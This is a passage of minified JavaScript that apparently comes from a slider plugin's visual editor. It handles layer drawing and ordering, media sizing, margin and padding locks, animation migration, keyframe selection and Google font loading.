0!==t.rightcorner||(t.rightcorner=jQuery("<"+i.idle.cornerRight+"></"+i.idle.cornerRight+">"),t.c.append(t.rightcorner)),t.rightcorner.css("borderWidth",t.c.outerHeight()+"px"),t.rightcorner.css("borderLeft","0px solid transparent"),e.bgcolor&&t.rightcorner.css("border"+("rs-bcrt"===i.idle.cornerRight?"Top":"Bottom")+"Color",e.bgcolor))}},RVS.F.reOrderHTMLLayers=function(e){for(var t in RVS.C.layergrid.detach(),RVS.S.redrawHTMLLayersList=[],RVS.L)RVS.L.hasOwnProperty(t)&&(-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type||"zone"===RVS.L[t].type||RVS.F.reOrderHTMLLayer({uid:t}));for(t in RVS.L)RVS.L.hasOwnProperty(t)&&"column"==RVS.L[t].type&&RVS.F.reOrderHTMLLayer({uid:RVS.L[t].uid});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&"column"!==RVS.L[t].type&&-1!==RVS.L[t].group.puid&&RVS.F.reOrderHTMLLayer({uid:RVS.L[t].uid});for(t in RVS.C.layergrid.appendTo(RVS.C.slide),RVS.S.redrawHTMLLayersList)RVS.S.redrawHTMLLayersList.hasOwnProperty(t)&&RVS.F.drawHTMLLayer({uid:RVS.S.redrawHTMLLayersList[t]});RVS.F.checkRowsChildren()},RVS.F.drawHTMLLayers=function(){!0!==RVS.S.drawingHTMLLayers&&(RVS.S.drawingHTMLLayers=!0,requestAnimationFrame(function(){for(var e in void 0===RVS.S.ReadyToShowAll&&(RVS.S.ReadyToShowAll="wait"),RVS.S.drawHTMLLayersCalled=!0,RVS.L)RVS.L.hasOwnProperty(e)&&(-1!==RVS.L[e].group.puid&&"row"!==RVS.L[e].type||"zone"===RVS.L[e].type||RVS.F.drawHTMLLayer({uid:e}));for(e in RVS.L)RVS.L.hasOwnProperty(e)&&"column"==RVS.L[e].type&&RVS.F.drawHTMLLayer({uid:RVS.L[e].uid});for(e in RVS.L)RVS.L.hasOwnProperty(e)&&"column"!==RVS.L[e].type&&-1!==RVS.L[e].group.puid&&RVS.F.drawHTMLLayer({uid:RVS.L[e].uid});RVS.F.checkRowsChildren(),RVS.S.drawingHTMLLayers=!1,(RVS.S.updateMinSliderHeight_force||"wait"==RVS.S.ReadyToShowAll)&&RVS.F.updatesliderlayout(void 0),RVS.S.updateMinSliderHeight_force=!1}))},RVS.F.buildHTMLLayers=function(e){for(var t in e=void 0===e?{}:e,RVS.L)RVS.L.hasOwnProperty(t)&&(-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type||"zone"===RVS.L[t].type||RVS.F.buildHTMLLayer({uid:t,ignoreDrawLayers:e.ignoreDrawLayers}));for(t in RVS.L)RVS.L.hasOwnProperty(t)&&"column"==RVS.L[t].type&&RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&"column"!==RVS.L[t].type&&-1!==RVS.L[t].group.puid&&RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers});RVS.F.checkRowsChildren(),RVS.F.checkLockedLayers(),RVS.F.checkShowHideLayers(),"change"===window.firstLockTest&&(RVS.F.showInfo({content:RVS_LANG.somelayerslocked,type:"goodtoknow",showdelay:2,hidedelay:3,hideon:"",event:""}),window.firstLockTest=!0)},RVS.F.updateLayerInputFields=function(e){if(0===RVS.selLayers.length)return RVS.S.layerInputFieldsInitialised?void 0:(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),void setTimeout(function(){RVS.S.layerInputFieldsInitialised=!0,RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields})},5));RVS.S.layerInputFieldsInitialised=!0,RVS.S.keyFrame="idle"===RVS.S.keyFrame?RVS.L[RVS.selLayers[0]].timeline.frameToIdle:RVS.S.keyFrame,void 0!==e&&!0===e.short?(RVS.F.updateEasyInputs({container:jQuery(".layertoolbar_wrap.layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery(RVS.eMode.menu),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),clearTimeout(RVS.S.updateEsyInputsTimer),RVS.S.updateEsyInputsTimer=setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),delete RVS.S.updateEsyInputsTimer},500)):RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateCusCSSContent(),RVS.F.stopAllLayerAnimation(),RVS.F.checkAvailableFontWeights(),RVS.F.updateLayerBgImage(!1),RVS.F.updateLayerImageSrcThumb(),RVS.F.updateRowColumnField(),RVS.F.updateFrameRealSpeed(),RVS.DOC.trigger("updateKeyFramesList"),RVS.S.shwLayerAnim&&RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]})},RVS.F.updateLayerBgImage=function(e){if(0!==RVS.selLayers.length){var t=RVS.L[RVS.selLayers[0]].idle.backgroundImage;""===(t=void 0===t||RVS.selLayers.length>1?"":t)&&!0!==RVS.L[RVS.selLayers[0]].idle.bgFromStream?jQuery("#layer_bg_adv_settings").hide():jQuery("#layer_bg_adv_settings").show(),tpGS.gsap.set("#layer_bg_image",{backgroundImage:'url("'+t+'")',"background-size":"percentage"===RVS.L[RVS.selLayers[0]].idle.backgroundSize?RVS.L[RVS.selLayers[0]].idle.backgroundSizePerc+"%":"pixel"===RVS.L[RVS.selLayers[0]].idle.backgroundSize?RVS.L[RVS.selLayers[0]].idle.backgroundSizePix+"px":RVS.L[RVS.selLayers[0]].idle.backgroundSize,backgroundPosition:RVS.L[RVS.selLayers[0]].idle.backgroundPosition}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[0]}),!1!==e&&setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#form_layerstyle_bg"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},100)}},RVS.F.updateLayerImageSrcThumb=function(){0!==RVS.selLayers.length&&(RVS.selLayers.length>1?tpGS.gsap.set("#layer_image_src",{backgroundImage:"none"}):"image"===RVS.L[RVS.selLayers[0]].type&&(RVS.L[RVS.selLayers[0]].media.imageUrl.indexOf("png")>=0&&RVS.L[RVS.selLayers[0]].media.imageUrl!==RVS.ENV.img_ph_url?document.getElementById("minilayerprevimage_wrap").className="miniprevimage_wrap withimage":RVS.L[RVS.selLayers[0]].media.imageUrl==RVS.ENV.img_ph_url&&(document.getElementById("minilayerprevimage_wrap").className="miniprevimage_wrap"),document.getElementById("layer_image_src").style.backgroundImage='url("'+RVS.L[RVS.selLayers[0]].media.imageUrl+'")'))},RVS.F.updateLayerImageSrc=function(e,t){if(null!=t&&void 0!==t.layerid){for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.L[RVS.selLayers[i]].size.originalSize=parseInt(RVS.L[RVS.selLayers[i]].size.width[RVS.screen].v,0)==parseInt(RVS.L[RVS.selLayers[i]].size.originalWidth,0));t.direction="width",t.dirB="height",t.src=null==t.src?RVS.L[t.layerid].media.imageUrl:t.src,t.src=null==t.src?RVS.L[t.layerid].media.posterUrl:t.src,t.id=void 0===t.id?RVS.L[t.layerid].media.imageId:t.id,t.id=void 0===t.id?RVS.L[t.layerid].media.posterId:t.id,RVS.F.preloadImage({uid:t.layerid,slideId:RVS.S.slideId,image:t.src,silent:!1,callback:function(){var e=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(t.uid=RVS.selLayers[i],t.ignore=RVS.L[RVS.selLayers[i]].size.originalSize,S(t),e=e||t.uid===t.layerid);e||(t.uid=t.layerid,S(t)),RVS.F.updateLayerImageSrcThumb()}}),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#form_layer_content"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},100)}},RVS.F.updateLayerSVGSrc=function(e){null!=e&&void 0!==e.uids&&void 0!==e.src&&0!==e.uids.length&&jQuery.get(e.src,function(t){for(var i in e.uids)if(e.uids.hasOwnProperty(i)){var a=e.uids[i],r=(new XMLSerializer).serializeToString(t.documentElement);RVS.H[a].c[0].innerHTML=r,RVS.H[a].svg=RVS.H[a].w.find("svg"),RVS.H[a].svgPath=RVS.H[a].w.find(RVS.L[a].idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"),RVS.F.updateLayerObj({path:"svg.renderedData",val:r,ignoreBackup:!0}),RVS.F.drawHTMLLayer({uid:a})}})},RVS.F.resetVideoPlaceholder=function(e,t){if(void 0!==t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];"video"===RVS.L[a].type&&(RVS.L[a].media.posterUrl===RVS.ENV.img_ph_url?RVS.H[a].c.addClass("placeholder_on"):RVS.H[a].c.removeClass("placeholder_on"))}},RVS.F.resyncVideoAspectRatio=function(){for(var e in RVS.F.openBackupGroup({id:"layerresize",txt:"Video Aspect Ratio",icon:"videocam"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.L[RVS.selLayers[e]];if("video"===t.type){var i=t.media.ratio.split(":"),a=RVS.S.slideId+".layers."+t.uid+".";i=i[0]/i[1],RVS.F.updateSliderObj({path:a+"size.aspectRatio.#size#.v",val:i}),c({ignore:!0,direction:"width",dirB:"height",v:RVS.L[t.uid].size.width[RVS.screen].v,l:RVS.L[t.uid],pre:a}),RVS.F.drawHTMLLayer({uid:t.uid})}}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.changeAudioLayerSize=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Audio Layer Controls",icon:"photo_size_select_large"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+"media.controls",val:!e.l.media.controls}),"audio"===e.l.type&&(e.l.media.controls?(RVS.F.updateSliderObj({path:e.pre+"size.width.#size#.v",val:350}),RVS.F.updateSliderObj({path:e.pre+"size.height.#size#.v",val:54})):(RVS.F.updateSliderObj({path:e.pre+"size.width.#size#.v",val:54}),RVS.F.updateSliderObj({path:e.pre+"size.height.#size#.v",val:54}))),RVS.F.drawHTMLLayer({uid:e.uid}));RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.changeMediaControlsInteraction=function(e){for(var t in RVS.F.openBackupGroup({id:"mediacontrols",txt:"Media Layer Controls",icon:"photo_size_select_large"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+"media.nointeraction",val:!e.l.media.nointeraction}),RVS.F.updateSliderObj({path:e.pre+"media.controls",val:!1}),RVS.F.updateSliderObj({path:e.pre+"media.largeControls",val:!1}));RVS.F.closeBackupGroup({id:"mediacontrols"}),RVS.F.updateLayerInputFields()},RVS.F.changeLayerSizes=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Layer "+e.direction.toUpperCase(),icon:"photo_size_select_large"}),e.dirB="width"===e.direction?"height":"width",RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".","height"==e.direction&&(""+e.v).indexOf("%")>0&&void 0!==RVS.L[e.l.group.puid]&&"column"===RVS.L[e.l.group.puid].type&&("shape"===e.l.type|"button"===e.l.type||"text"==e.l.type)&&parseInt(e.v)>=99&&(e.v=e.v.replace("%","px")),e.l.size.scaleProportional?c(e):RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v}),RVS.F.drawHTMLLayer({uid:e.uid}));RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.lockUnlockLayerRatio=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Layer Aspect Ratio",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",e.direction="width",e.dirB="height",RVS.F.updateSliderObj({path:e.pre+"size.scaleProportional",val:e.val}),e.val))if("image"===e.l.type)e.v=e.l.size.width[RVS.screen].v,e.ignore=!0,c(e),RVS.F.drawHTMLLayer({uid:e.uid});else{var i=RVS.H[e.uid].w,a=i.width(),r=i.height();RVS.F.updateSliderObj({path:e.pre+"size.originalWidth",val:a}),RVS.F.updateSliderObj({path:e.pre+"size.originalHeight",val:r}),RVS.F.updateSliderObj({path:e.pre+"size.aspectRatio.#size#.v",val:a/r})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.lockUnlockMarginPadding=function(e,t,i,a){for(var r in a=void 0===a?"idle":a,RVS.F.openBackupGroup({id:"lock"+t,txt:"Lock and reset "+t+"(s)",icon:"border_outer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){if(e.uid=RVS.selLayers[r],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+a+"."+t+"Lock",val:e.val}),e.val){var s=void 0===e.l[a][t][RVS.screen]?void 0===e.l[a][t].v?e.l[a][t][0]:e.l[a][t].v[0]:e.l[a][t][RVS.screen].v[0];RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".1",val:s}),RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".2",val:s}),RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".3",val:s})}RVS.F.drawHTMLLayer({uid:e.uid})}RVS.F.closeBackupGroup({id:"lock"+t}),RVS.F.updateLayerInputFields()},RVS.F.updateMarginPaddingValues=function(e,t,i,a){for(var r in a=void 0===a?"idle":a,RVS.F.openBackupGroup({id:t+"Value",txt:"Layer "+t,icon:"border_outer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.L[RVS.selLayers[r]],o=RVS.S.slideId+".layers."+RVS.selLayers[r]+".";if(s[a][t+"Lock"])for(var n=0;n<4;n++)RVS.F.updateSliderObj({path:o+a+"."+t+i+"."+n,val:e.val});else RVS.F.updateSliderObj({path:o+a+"."+t+i+"."+e.eventparam,val:e.val});RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]})}RVS.F.closeBackupGroup({id:t+"Value"}),RVS.F.updateLayerInputFields()},RVS.F.replaceMetas=function(e){if(e.indexOf("{{")>=0)for(var t in RVS.LIB.META)if(RVS.LIB.META.hasOwnProperty(t)&&e.search(t)>=0){var i=new RegExp(t,"g");e=e.replace(i,RVS.LIB.META[t])}return e},RVS.F.redrawEditedTextLayerwhenPlaceholder=function(){void 0!==RVS.selLayers[0]&&void 0!==RVS.L[RVS.selLayers[0]]&&RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],document.getElementById("ta_layertext").value!==RVS.S.inFocusValu)},RVS.F.redrawTextLayerInnerHTML=function(e,t){"text"!==RVS.L[e].type&&"button"!==RVS.L[e].type||(t&&(void 0!==RVS.H[e].splitText&&RVS.H[e].splitText.revert(),RVS.H[e].splitText=void 0),void 0!==RVS.L[e].placeholder&&RVS.L[e].placeholder.length>0&&" "!==RVS.L[e].placeholder?RVS.H[e].c[0].innerHTML=RVS.L[e].placeholder:RVS.H[e].c[0].innerHTML=jQuery.inArray(RVS.L[e].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[e].text):RVS.F.replaceMetas(RVS.L[e].text.replace(/\r\n|\r|\n/g,"<br />")),t&&(RVS.F.drawHTMLLayer({uid:e,ignoreLayerAnimation:!0}),void 0!==RVS.L[e].timeline.split&&RVS.F.updateLayerFrames({layerid:e})))},RVS.F.changeLayerAnimation=function(e){e.fromLayerTransListe||(window.timelineTemporaryCached=!0,RVS.L[RVS.selLayers[0]].timelinecache=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline)),u(RVS.LIB.LAYERANIMS[e.direction][e.group].transitions[e.transition]);var t="loop"===e.direction?"loop":"play_circle_filled",i="loop"===e.direction?RVS_LANG.backupTemplateLoop:RVS_LANG.backupTemplateLayerAnim,a="loop"===e.direction?"layerLoop":"layerFrames",r="loop"===e.direction?"loop":"frames";for(var s in e.ignoreBackupGroup||RVS.F.openBackupGroup({id:"changeFramesFromTemplate",txt:i,icon:t}),RVS.F.backup({path:r,layer:RVS.selLayers[0],slide:RVS.S.slideId,cache:void 0,icon:t,txt:i,lastkey:"timeline",force:!0,val:RVS.L[RVS.selLayers[0]].timeline[r],old:RVS.L[RVS.selLayers[0]].timelinecache[r],backupType:a,bckpGrType:"layerTemplateAnimation"}),RVS.JHOOKS.changeLayerAnimation)RVS.JHOOKS.changeLayerAnimation.hasOwnProperty(s)&&RVS.JHOOKS.changeLayerAnimation[s](e);e.ignoreBackupGroup||RVS.F.closeBackupGroup({id:"changeFramesFromTemplate"}),window.timelineTemporaryCached=!1,delete RVS.L[RVS.selLayers[0]].timelinecache,jQuery(".layer_transliste.open").removeClass("open"),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.updateLayerInputFields(),RVS.S.shwLayerAnim?RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}):RVS.F.stopAllLayerAnimation()},RVS.F.updateLayerTimelineLoopLists=function(){var e="";for(var t in window.layerTimelineLoopFrom=null==window.layerTimelineLoopFrom?jQuery("#la_timeline_loop_from"):window.layerTimelineLoopFrom,window.layerTimelineLoopTo=null==window.layerTimelineLoopTo?jQuery("#la_timeline_loop_to"):window.layerTimelineLoopTo,RVS.L[RVS.selLayers[0]].timeline.frameOrder)RVS.L[RVS.selLayers[0]].timeline.frameOrder.hasOwnProperty(t)&&t>0&&"frame_999"!==RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id&&(e+='<option value="'+RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id+'">'+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id].alias+" (#"+t+")</option>");window.layerTimelineLoopFrom[0].innerHTML=window.layerTimelineLoopTo[0].innerHTML=e,window.layerTimelineLoopFrom.val(RVS.L[RVS.selLayers[0]].timeline.tloop.from).ddTP("change"),window.layerTimelineLoopTo.val(RVS.L[RVS.selLayers[0]].timeline.tloop.to).ddTP("change")},RVS.F.updateCoveredLayer=function(e){return"cover-proportional"===RVS.L[e].size.covermode||"cover"===RVS.L[e].size.covermode?{width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height}:"fullwidth"===RVS.L[e].size.covermode?{width:RVS.S.ulDIM.width}:"fullheight"===RVS.L[e].size.covermode&&{height:RVS.S.ulDIM.height}},RVS.F.updateCoveredLayers=function(e){window.requestAnimationFrame(function(){for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&void 0!==RVS.H[t]&&void 0!==RVS.L[t].behavior&&"slide"===RVS.L[t].behavior.baseAlign){var i=RVS.F.updateCoveredLayer(t);if(void 0!==i&&e)RVS.F.drawHTMLLayer({uid:t}),RVS.F.updateHTMLLayerPosition({uid:t});else if((!1!==i&&void 0!==i.width||void 0!==i.height)&&tpGS.gsap.set(RVS.H[t].w,i),RVS.H[t].w_width=void 0!==i.width?i.width:RVS.H[t].w_width,RVS.H[t].w_height=void 0!==i.height?i.height:RVS.H[t].w_height,"image"===RVS.L[t].type&&"custom"!==RVS.L[t].size.covermode){var a=RVS.F.getProportionalSizes({proportional:RVS.L[t].size.scaleProportional,type:RVS.L[t].size.covermode,image:{width:RVS.L[t].size.originalWidth,height:RVS.L[t].size.originalHeight},viewPort:{width:!1!==i&&void 0!==i.width?RVS.S.ulDIM.width:RVS.F.GW(RVS.screen),height:!1!==i&&void 0!==i.height?RVS.S.ulDIM.height:RVS.SLIDER.settings.size.height[RVS.screen]}});RVS.H[t].c[0].style.width=a.width+"px",RVS.H[t].c[0].style.height=a.height+"px"}}})},RVS.F.setKeyframeSelected=function(e){RVS.S.keyFrame=e,p(),RVS.F.updateLayerInputFields(),RVS.TL.cache.main="frame_0"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameStart("frame_1")/100:"frame_999"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameMiddle("frame_999")/100:(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main=RVS.TL.cache.main<.01?.01:RVS.TL.cache.main,RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})},RVS.F.updateKeyframeSelected=function(e){RVS.TL.cache.main="frame_0"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameStart("frame_1")/100:"frame_999"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameMiddle("frame_999")/100:(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main=RVS.TL.cache.main<.01?.01:RVS.TL.cache.main,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:100*RVS.TL.cache.main,refreshMainTimeLine:!1,caller:"updateKeyframeSelected"})},RVS.F.migrateCustomAnimation=function(e){for(var t in e)if(e.hasOwnProperty(t))if("in"===e[t].settings||"out"===e[t].settings)RVS.LIB.LAYERANIMS[e[t].settings].custom.transitions[e[t].id]=e[t].params;else if(void 0!==e[t].params&&("customin"===e[t].params.type||"customout"===e[t].params.type)){var i="customin"==e[t].params.type?"in":"out",a=RVS.LIB.LAYERANIMS[i].custom.transitions,r="in"===i?"frame_0":"frame_999",s={name:e[t].handle};s[r]={transform:{},timeline:{}},"in"===i?s.frame_1={timeline:{speed:e[t].params.speed,ease:e[t].params.easing}}:s.frame_999.timeline={speed:e[t].params.speed,ease:e[t].params.easing},"true"!=e[t].params.mask&&1!=e[t].params.mask||(s[r].mask={use:!0,x:e[t].params.mask_x,y:e[t].params.mask_y},"in"===i&&(s.frame_1.mask={use:!0,x:0,y:0}));var o=s[r].transform,n={use:!0,delay:e[t].params.splitdelay};switch(e[t].params.split){case"lines":case"line":s[r].lines=n,o=s[r].lines,"in"===i&&(s.frame_1.lines=n);break;case"words":case"word":s[r].words=n,o=s[r].words,"in"===i&&(s.frame_1.words=n);break;case"chars":case"char":s[r].chars=n,o=s[r].chars,"in"===i&&(s.frame_1.chars=n)}for(var l in void 0!==e[t].params.captionopacity&&(o.opacity=e[t].params.captionopacity),e[t].params)if(e[t].params.hasOwnProperty(l)){var d=e[t].params[l];if("inherit"!==d&&"0"!==d&&0!==d&&"0px"!==d)switch(l){case"movex":o.x=d;break;case"movey":o.y=d;break;case"movez":o.z=d;break;case"rotationx":o.rotationX=d;break;case"rotationy":o.rotationY=d;break;case"rotationz":o.rotationZ=d;break;case"skewx":o.skewX=d;break;case"skewy":o.skewY=d}}a[e[t].id]=s}},RVS.F.updateFrameOptionsVisual=function(){for(var e in RVS.V.frameLevels.levels)if(RVS.V.frameLevels.levels.hasOwnProperty(e)){var t=RVS.V.frameLevels.levels[e];RVS.V.frameLevels[t]=void 0===RVS.V.frameLevels[t]?jQuery("#"+t+"_ts_wrapbrtn"):RVS.V.frameLevels[t],"color"===t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].bgcolor&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].color&&(!1!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].bgcolor.use||!1!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].color.use)||"sfx"===t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&""!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].sfx.effect&&"none"!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].sfx.effect||"mask"===t&&RVS.L[RVS.selLayers[0]].timeline.clipPath.use||"color"!==t&&"sfx"!==t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame][t]&&RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame][t].use?RVS.V.frameLevels[t][0].className="ts_wrapbrtn":RVS.V.frameLevels[t][0].className="ts_wrapbrtn notinuse"}for(var e in RVS.JHOOKS.updateFrameOptionsVisual)RVS.JHOOKS.updateFrameOptionsVisual.hasOwnProperty(e)&&RVS.JHOOKS.updateFrameOptionsVisual[e]()},RVS.F.extendLayerAnimationLists=function(e){var t=e.direction,i=e.handle;if(RVS.LIB.LAYERANIMS[t][i]=jQuery.extend(!0,{},e.preset),void 0!==RVS.LIB.LAYERANIMS.translists){var a='<div class="latransgroup"><div class="latransgroup_head"><span class="latransgroup_name">'+RVS.LIB.LAYERANIMS[t][i].group+'</span><div class="animation_drop_arrow"><i class="material-icons">arrow_drop_down</i></div></div><div class="lainner_transitions">',r="";for(var s in RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(s)&&(r+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="'+s+'" class="layer_trans_liste dark_btn">'+RVS.LIB.LAYERANIMS[t][i].transitions[s].name+"</div>");jQuery("#lal_"+t+"_"+i).length>0?jQuery("#lal_"+t+"_"+i).find(".lainner_transitions")[0].innerHTML=jQuery("#lal_"+t+"_"+i).find(".lainner_transitions")[0].innerHTML+r:(a+=r,a+="</div></div>","in"===t?RVS.LIB.LAYERANIMS.translists[0].append(a):"out"===t&&RVS.LIB.LAYERANIMS.translists[999].append(a))}},RVS.F.checkUsedFonts=function(e){RVS.F.checkAvailableFontWeights(e);var t={},i=[];for(var a in RVS.L)if(RVS.L.hasOwnProperty(a)){var r=RVS.L[a];if(("text"===r.type||"button"===r.type)&&void 0!==r.idle&&void 0!==r.idle.fontFamily){var s=r.idle.fontFamily.replace(/\ /g,"_"),o=[];for(var l in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(l)){var d=r.idle.fontWeight[RVS.V.sizes[l]].v;d=r.idle.fontStyle?d+"italic":d,-1!==jQuery.inArray(d,o)||void 0!==n[s]&&-1!==jQuery.inArray(d,n[s].weights)||void 0!==t[s]&&-1!==jQuery.inArray(d,t[s].weights)||o.push(d)}o.length>0&&(void 0===t[s]?t[s]={family:s,font:r.idle.fontFamily,weights:o,italic:r.idle.fontStyle}:t[s]={family:s,font:r.idle.fontFamily,weights:RVS.F.mergeArrays(o,t[s].weights),italic:!0===t[s]||r.idle.fontStyle})}}for(var a in t)if(t.hasOwnProperty(a)){var S=RVS.F.loadSingleFont(t[a]);void 0!==S&&i.push(S)}RVS.F.do_google_font_load(i,{silent:!0})},RVS.F.preloadUsedFonts=function(){var e={},t=[];for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&("text"===RVS.L[i].type||"button"===RVS.L[i].type)&&void 0!==RVS.L[i].idle&&void 0!==RVS.L[i].idle.fontFamily){var a=RVS.L[i].idle.fontFamily.replace(/\ /g,"_");for(var r in e[a]=void 0===e[a]?{family:a,weights:[],italic:!1}:e[a],e[a].font=RVS.L[i].idle.fontFamily,e[a].italic=!0===e[a].italic||RVS.L[i].idle.fontStyle,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(r)&&-1===e[a].weights.toString().indexOf(RVS.L[i].idle.fontWeight[RVS.V.sizes[r]].v)&&e[a].weights.push(RVS.L[i].idle.fontWeight[RVS.V.sizes[r]].v)}for(var i in e)if(e.hasOwnProperty(i)){var s=RVS.F.loadSingleFont(e[i]);void 0!==s&&t.push(s)}RVS.F.do_google_font_load(t)},RVS.F.loadSingleFont=function(e){var t=function(e){var t=!1;for(var i in RVS.LIB.FONTS)if(RVS.LIB.FONTS[i].label==e){"googlefont"==RVS.LIB.FONTS[i].type&&(t=RVS.LIB.FONTS[i]);break}return t}(e.font);if(t&&(e.weights=void 0===e.weights?[]:e.weights,e.subsets=void 0===e.subsets?[]:e.subsets,e.font=e.font.replace(/\ /g,"+"),void 0===n[e.family]||!RVS.F.matchArray(e.weights,n[e.family].weights))){n[e.family]=void 0===n[e.family]?{weights:e.weights,subsets:e.subsets}:n[e.family],n[e.family].weights=RVS.F.mergeArrays(e.weights,n[e.family].weights);var i="",a="";if(n[e.family].weights=function(e,t){var i=[];for(var a in e)e.hasOwnProperty(a)&&jQuery.inArray(e[a],t)>=0&&i.push(e[a]);return i}(n[e.family].weights,t.variants),0===n[e.family].weights.length)for(var r in t.variants)t.variants.hasOwnProperty(r)&&(r>0?a+=",":a=":",a+=t.variants[r],n[e.family].weights.push(t.variants[r]));else for(var s in n[e.family].weights)n[e.family].weights.hasOwnProperty(s)&&(s>0?a+=",":a=":",a+=n[e.family].weights[s],e.italic&&-1==a.indexOf("italic")&&-1==jQuery.inArray(n[e.family].weights[s]+"italic",n[e.family].weights)&&(a+=","+n[e.family].weights[s]+"italic"));if(void 